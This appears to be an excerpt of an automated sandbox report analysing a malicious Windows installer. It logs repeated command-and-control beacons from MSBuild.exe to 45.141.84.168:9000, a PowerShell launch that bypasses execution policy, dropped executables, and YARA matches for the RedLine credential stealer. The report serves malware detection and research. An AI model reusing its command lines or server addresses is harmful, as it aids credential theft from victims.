Nov 28, 2024 09:53:36.625390053 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49799	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:36.860204935 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:38.262674093 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49800	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:38.501441002 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:39.905782938 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49801	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:40.149363995 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:41.499802113 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49802	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:41.736778021 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:43.140868902 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49803	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:43.381942987 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:44.784966946 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49804	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:45.016647100 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:53:46.418132067 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49805	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:46.643851042 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:53:47.955285072 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49806	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:48.188484907 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:53:49.501308918 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49807	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:49.759010077 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:51.117790937 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49808	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:51.344575882 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:52.746264935 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49809	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:52.969535112 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:54.371669054 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49810	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:54.597429037 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:53:56.000022888 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49811	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:56.234941006 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:57.554611921 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49812	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:57.783083916 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:59.480331898 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49813	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:59.703788996 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:54:01.013739109 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:54:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49814	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:54:01.251117945 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:54:02.698374987 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:54:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49815	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:54:02.922669888 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:54:04.232450962 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:54:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49816	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:54:04.470364094 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:54:05.877173901 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:54:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49817	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:54:06.110239029 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:54:07.466979027 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:54:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49818	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:54:07.688182116 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:54:09.003998041 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:54:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49819	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:54:09.235104084 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:54:10.637705088 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:54:10 GMT Connection: close

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 28, 2024 09:53:27.843143940 CET	13.107.246.63	443	192.168.2.4	49776	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

Target ID:	0
Start time:	03:52:03
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\9VbeqQbgU4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\9VbeqQbgU4.exe"
Imagebase:	0x8b0000
File size:	87'653'216 bytes
MD5 hash:	A91B4875630C4F702AB63F94ED633DA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:52:04
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe"
Imagebase:	0x320000
File size:	3'699'712 bytes
MD5 hash:	6AB2AF20157D2F440E8B22982F6247C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:52:45
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1"
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:52:45
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:52:54
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"
Imagebase:	0x340000
File size:	10'115'160 bytes
MD5 hash:	A439025E40533F6E78C74FE8E9CE9875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 38%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:52:58
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x7f0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2392668507.0000000005580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000009.00000002.2392668507.0000000005580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:52:58
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:53:00
Start date:	28/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	03:53:13
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x8f0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	03:53:31
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Roaming\sto\coml.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\sto\coml.exe"
Imagebase:	0x7ff7699e0000
File size:	10'115'160 bytes
MD5 hash:	A439025E40533F6E78C74FE8E9CE9875
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:53:34
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x7f0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2653781930.0000000005610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000F.00000002.2653781930.0000000005610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:53:34
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:53:39
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x370000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2653978142.0000000000772000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000011.00000002.2653978142.0000000000772000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Function 079F07F8 Relevance: 10.3, Strings: 8, Instructions: 319COMMON

Download Yara Rule

Strings

4'kq, xrefs: 079F08D2
$kq, xrefs: 079F08BB
$kq, xrefs: 079F0AA4
$kq, xrefs: 079F0893
$kq, xrefs: 079F0A55
$kq, xrefs: 079F0AB4
$kq, xrefs: 079F08AF
4'kq, xrefs: 079F08DE

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$$kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-3137036682
Opcode ID: f634b9cc90cb0360d6901ed0d4cfc619ca8d0a1ac4e87a74d0ee8f11a7dad2dc
